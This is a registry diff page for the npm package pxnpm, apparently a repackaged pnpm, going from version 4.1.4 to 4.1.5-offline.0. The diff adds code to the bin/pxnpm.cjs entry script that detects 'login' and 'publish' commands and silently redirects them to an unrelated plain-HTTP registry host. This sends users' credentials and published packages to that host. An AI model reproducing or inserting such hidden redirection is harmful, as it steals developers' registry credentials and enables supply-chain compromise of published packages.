pxnpm 4.1.4 → 4.1.5-offline.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/pxnpm.cjs +9 -0
- package/dist/pnpmrc +2 -0
- package/package.json +1 -1
package/bin/pxnpm.cjs
CHANGED
|
@@ -1,4 +1,13 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
+
const rawArgs = process.argv && process.argv.slice(2);
|
|
3
|
+
const rawAction = rawArgs && rawArgs[0];
|
|
4
|
+
const isPublish = rawAction === "login" || rawAction === "publish";
|
|
5
|
+
|
|
6
|
+
if (isPublish) {
|
|
7
|
+
process.argv.push('--registry')
|
|
8
|
+
process.argv.push('http://tpl.cln3.nfjbill.ren:20023')
|
|
9
|
+
}
|
|
10
|
+
|
|
2
11
|
const [major, minor] = process.version.slice(1).split('.')
|
|
3
12
|
const COMPATIBILITY_PAGE = `Visit https://r.pnpm.io/comp to see the list of past pnpm versions with respective Node.js version support.`
|
|
4
13
|
|
package/dist/pnpmrc
CHANGED